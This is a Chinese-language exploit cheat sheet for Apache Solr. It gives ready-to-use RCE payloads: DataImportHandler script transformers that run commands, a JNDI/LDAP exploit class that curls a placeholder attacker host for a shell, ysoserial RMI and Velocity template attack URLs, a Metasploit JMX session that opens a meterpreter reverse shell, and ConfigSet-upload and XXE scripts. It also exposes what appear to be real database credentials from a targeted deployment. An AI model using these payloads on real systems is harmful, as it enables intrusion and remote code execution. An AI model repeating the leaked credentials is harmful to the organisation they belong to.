Apache Solr Some Exploits 🌟
Apache Solr DataImportHandler RCE
Apache Solr < 8.2.0 并且开启了DataImportHandler模块(默认情况下该模块不被启用)
1.首先判读是否solr不需认证直接可访问后台（大多数均可访问）
2.判断是否存在collections
3.判断collections是否可以使用dataimport功能
4.debug模式修改configuration
原：
<dataConfig>
<dataSource type="JdbcDataSource"
driver="com.microsoft.sqlserver.jdbc.SQLServerDriver"
url="jdbc:sqlserver://SqlServer;databaseName=TrainUpCore"
user="pid.trainup"
password="S@cram3nt0"
readOnly="true"
/>
<document name="TrainUpDoc">
<entity name="Lo" query="select newid() id, * from CatalogSearch.Categories_LiveTrainingWithoutLocation order by ItemTitle">
<field column="ItemTitle" name="ItemTitle"/>
<field column="ItemCourseId" name="ItemCourseId"/>
<field column="ItemDescription" name="ItemDescription"/>
<field column="Price" name="ItemPrice"/>
<field column="ItemDurationType" name="ItemDurationType"/>
<field column="ItemDurationValue" name="ItemDurationValue"/>
<field column="typeItemCode" name="typeItemCode"/>
<field column="ProviderWeight" name="ProviderWeight"/>
<field column="ItemCatId" name="ItemCatId"/>
<field column="PublishedDate" name="PublishedDate"/>
<field column="ItemImageUrl" name="ItemImageUrl"/>
<field column="ItemTrainingRating" name="ItemTrainingRating"/>
<field column="#Row" name="#Row"/>
<field column="ItemCatImageUrl" name="ItemCatImageUrl"/>
<field column="ItemEventsno" name="ItemEventsno"/>
<field column="CourseWeight" name="CourseWeight"/>
<field column="CategoryRankScore" name="CategoryRankScore"/>
</entity>
</document>
</dataConfig>[1] 无回显 直接执行命令修改：
（1）在entity中添加transformer="script:f1"，f1为函数名
（2）添加<script>内容
（3）execute with this configuration
<dataConfig>
<dataSource type="JdbcDataSource"
driver="com.microsoft.sqlserver.jdbc.SQLServerDriver"
url="jdbc:sqlserver://SqlServer;databaseName=TrainUpCore"
user="pid.trainup"
password="S@cram3nt0"
readOnly="true"
/>
<script><![CDATA[
function f1(row){
java.lang.Runtime.getRuntime().exec("powershell xxx");
return row;
}
]]></script>
<document name="TrainUpDoc">
<entity name="Lo" transformer="script:f1" query="select newid() id, * from CatalogSearch.Categories_LiveTrainingWithLocation order by ItemTitle">
<field column="ItemTitle" name="ItemTitle"/>
<field column="ItemCourseId" name="ItemCourseId"/>
<field column="ItemDescription" name="ItemDescription"/>
<field column="Price" name="ItemPrice"/>
<field column="ItemDurationType" name="ItemDurationType"/>
<field column="ItemDurationValue" name="ItemDurationValue"/>
<field column="typeItemCode" name="typeItemCode"/>
<field column="ProviderWeight" name="ProviderWeight"/>
<field column="ItemCatId" name="ItemCatId"/>
<field column="PublishedDate" name="PublishedDate"/>
<field column="ItemImageUrl" name="ItemImageUrl"/>
<field column="ItemTrainingRating" name="ItemTrainingRating"/>
<field column="#Row" name="#Row"/>
<field column="ItemCatImageUrl" name="ItemCatImageUrl"/>
<field column="ItemEventsno" name="ItemEventsno"/>
<field column="CityItemEventsno" name="CityItemEventsno"/>
<field column="StartDate" name="StartDate"/>
<field column="StartTime" name="StartTime"/>
<field column="TimeZone" name="TimeZone"/>
<field column="MarketCityID" name="MarketCityID"/>
<field column="ItemCity" name="ItemCity"/>
<field column="CourseWeight" name="CourseWeight"/>
<field column="CategoryRankScore" name="CategoryRankScore"/>
</entity>
</document>
</dataConfig>
[2] 有回显 直接执行命令修改：
（1）在entity中添加transformer="script:f1"，f1为函数名
（2）添加<script>内容，将执行回显输出到field的参数重，如id、ItemDescription，若不行则需结合managed-schema配置输出
（3）execute with this configuration
<dataConfig>
<dataSource type="JdbcDataSource"
driver="com.microsoft.sqlserver.jdbc.SQLServerDriver"
url="jdbc:sqlserver://SqlServer;databaseName=TrainUpCore"
user="pid.trainup"
password="S@cram3nt0"
readOnly="true"
/>
<script><![CDATA[
function f1(row){
row.put("id",new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("whoami").getInputStream())).readLine());
return row;
}
]]></script>
<document name="TrainUpDoc">
<entity name="Lo" transformer="script:f1" query="select newid() id, * from CatalogSearch.Categories_LiveTrainingWithLocation order by ItemTitle">
<field column="ItemCourseId" name="id"/>
<field column="ItemDescription" name="ItemDescription"/>
<field column="Price" name="ItemPrice"/>
<field column="ItemDurationType" name="ItemDurationType"/>
<field column="ItemDurationValue" name="ItemDurationValue"/>
<field column="typeItemCode" name="typeItemCode"/>
<field column="ProviderWeight" name="ProviderWeight"/>
<field column="ItemCatId" name="ItemCatId"/>
<field column="PublishedDate" name="PublishedDate"/>
<field column="ItemImageUrl" name="ItemImageUrl"/>
<field column="ItemTrainingRating" name="ItemTrainingRating"/>
<field column="#Row" name="#Row"/>
<field column="ItemCatImageUrl" name="ItemCatImageUrl"/>
<field column="ItemEventsno" name="ItemEventsno"/>
<field column="CityItemEventsno" name="CityItemEventsno"/>
<field column="StartDate" name="StartDate"/>
<field column="StartTime" name="StartTime"/>
<field column="TimeZone" name="TimeZone"/>
<field column="MarketCityID" name="MarketCityID"/>
<field column="ItemCity" name="ItemCity"/>
<field column="CourseWeight" name="CourseWeight"/>
<field column="CategoryRankScore" name="CategoryRankScore"/>
</entity>
</document>
</dataConfig>
[3] JNDI+LDAP（无需目标的CLASSPATH存在数据库驱动）：
（1）修改configuration内容
<dataConfig>
<dataSource type="JdbcDataSource"
jndiName="ldap://xxx.xxx.xxx.xxx:1389/Exploit"/>
<document>
<entity name="test">
</entity>
</document>
</dataConfig> （2）hackserver
Exploit.java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.*;
import java.util.Hashtable;
public class Exploit implements ObjectFactory {
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
try {
Runtime.getRuntime().exec("curl http://xxx.xxx.xxx.xxx:1212/getshell");
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
}JDK 高版本会限制远程codebase 加载，期待1.8以下
javac --release 7 Exploit.java
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndiDAPRefServer http://xxx.xxx.xxx.xxx:8888/#Exploit 1389
python3 -m http.server 8888
（3）execute with this configuration
https://github.com/Rapidsafeguard/Solr-RCE-CVE-2019-0192/blob/master/solr_RCE.py https://github.com/weTomorrow/solr_poc/blob/master/solr_poc.py
Apache Solr 5.0.0-5.5.5 版本
Apache Solr 6.0.0-6.6.5 版本
configAPI主要功能是检索或修改配置。 GET负责检索，POST负责执行命令。通过传入set-property属性，构造恶意的数据，传入指向恶意的rmi服务器的链接，覆盖之前服务器的原设置，使得目标服务器与攻击者的恶意rmi服务器相连，攻击者可以使用ysoserial工具，通过rmi服务器向远端目标服务器发送命令，并在目标服务器上执行，实现远程命令执行
1.首先判读存在cores节点
http://ip:port/solr/admin/cores?wt=json
http://ip:port/solr/name[0]/config
2.server通过ysoserial部署RMI server
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1234 Jdk7u21 "cmd"
注意: 你会看到返回中出现500错误
如果错误中包含: “Non-annotation type in annotation serial stream” 说明 Apache Solr 的Java版本 > JRE 7u25，则PoC执行不成功。
如果你看到错误中包含: “undeclared checked exception; nested exception is”，则PoC执行成功.
https://github.com/mpgn/CVE-2019-0192/blob/master/CVE-2019-0192.py
Apache Solr 5.x到8.2.0版本
http://ip:port/solr/+core_name+/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template
Apache Solr 5.5.0到7.0.1版本
此次7.1.0之前版本总共爆出两个漏洞：XML实体扩展漏洞（XXE）和远程命令执行漏洞（RCE），二者可以连接成利用链，编号均为CVE-2017-12629。
APACHE SOLR 8.1.1/8.2.0 CONFIGURATION FILE SOLR.IN.SH PRIVILEGE ESCALATION
Apache Solr的8.1.1和8.2.0发行版中的默认配置文件solr.in.sh,在其配置文件中ENABLE_REMOTE_JMX_OPTS字段默认配置不安全.如果使用受影响版本中的默认配置,那么将启用JMX监视服务并将对公网监听一个18983的RMI端口,且无需进行任何身份验证,配合JMX RMI将会导致远程代码执行.
使用Metasploit
msf5 > use multi/misc/java_jmx_server
msf5 exploit(multi/misc/java_jmx_server) > show options
Module options (exploit/multi/misc/java_jmx_server):
Name Current Setting Required Description
---- --------------- -------- -----------
JMXRMI jmxrmi yes The name where the JMX RMI interface is bound
JMX_PASSWORD no The password to interact with an authenticated JMX endpoint
JMX_ROLE no The role to interact with an authenticated JMX endpoint
RHOSTS yes The target address range or CIDR identifier
RPORT yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Exploit target:
Id Name
-- ----
0 Generic (Java Payload)
msf5 exploit(multi/misc/java_jmx_server) > set RHOSTS a.a.a.a
RHOSTS => a.a.a.a
msf5 exploit(multi/misc/java_jmx_server) > set RPORT 18983
RPORT => 18983
msf5 exploit(multi/misc/java_jmx_server) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf5 exploit(multi/misc/java_jmx_server) > show options
Module options (exploit/multi/misc/java_jmx_server):
Name Current Setting Required Description
---- --------------- -------- -----------
JMXRMI jmxrmi yes The name where the JMX RMI interface is bound
JMX_PASSWORD no The password to interact with an authenticated JMX endpoint
JMX_ROLE no The role to interact with an authenticated JMX endpoint
RHOSTS a.a.a.a yes The target address range or CIDR identifier
RPORT 18983 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Generic (Java Payload)
msf5 exploit(multi/misc/java_jmx_server) > set LHOST b.b.b.b
LHOST => b.b.b.b
msf5 exploit(multi/misc/java_jmx_server) > run
[*] Started reverse TCP handler on b.b.b.b:4444
[*] a.a.a.a:18983 - Using URL: http://b.b.b.b:8080/OcbYS8uaTPDH
[*] a.a.a.a:18983 - Sending RMI Header...
[*] a.a.a.a:18983 - Discovering the JMXRMI endpoint...
[+] a.a.a.a:18983 - JMXRMI endpoint on a.a.a.a:18983
[*] a.a.a.a:18983 - Proceeding with handshake...
[+] a.a.a.a:18983 - Handshake with JMX MBean server on a.a.a.a:18983
[*] a.a.a.a:18983 - Loading payload...
[*] a.a.a.a:18983 - Replied to request for mlet
[*] a.a.a.a:18983 - Replied to request for payload JAR
[*] a.a.a.a:18983 - Executing payload...
[*] a.a.a.a:18983 - Replied to request for payload JAR
[*] Sending stage (53867 bytes) to a.a.a.a
[*] Meterpreter session 1 opened (a.a.a.a:4444 -> b.b.b.b:46582) at 2019-11-21 15:24:53 +0000
meterpreter >
Apache Solr 6.6.0 - 6.6.5
Apache Solr 7.0.0 - 7.7.3
Apache Solr 8.0.0 - 8.6.2
Apache Solr Configset Api上传功能存在未授权漏洞。攻击者可以上传含有恶意配置的solrconfig.xml从而触发CVE-2019-17558进行命令执行（SolrCloud模式才可利用）
1.首先构造含有恶意配置的myconfigset.zip
2.上传myconfigset.zip进入ZooKeeper
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @myconfigset.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=test3myConfigSet"
3.从Zookeeper中选择恶意的solrconfig.xml创建新的Collection
curl -v "http://localhost:8983/solr/admin/collections?action=CREATE&name=newCollection3&numShards=2&replicationFactor=1&wt=xml&collection.configName=test3myConfigSet"
4.EXP命令执行
curl -v "http://127.0.0.1:8983/solr/newCollection3/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
Apache Solr >= 6.0.0, < 6.6.5
Apache Solr >= 7.0.0, < 7.4.0
这次的XXE漏洞依赖于SolrCloud API，影响到SolrCloud分布式系统。而SolrCloud需要用到zookeeper
import requests
upload_url = "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=evilconfig"
files = open("evil.zip", "rb")
print(requests.post(upload_url, data=files).text)
create_url = "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=eviltest&numShards=1&collection.configName=evilconfig"
print(requests.get(create_url).text)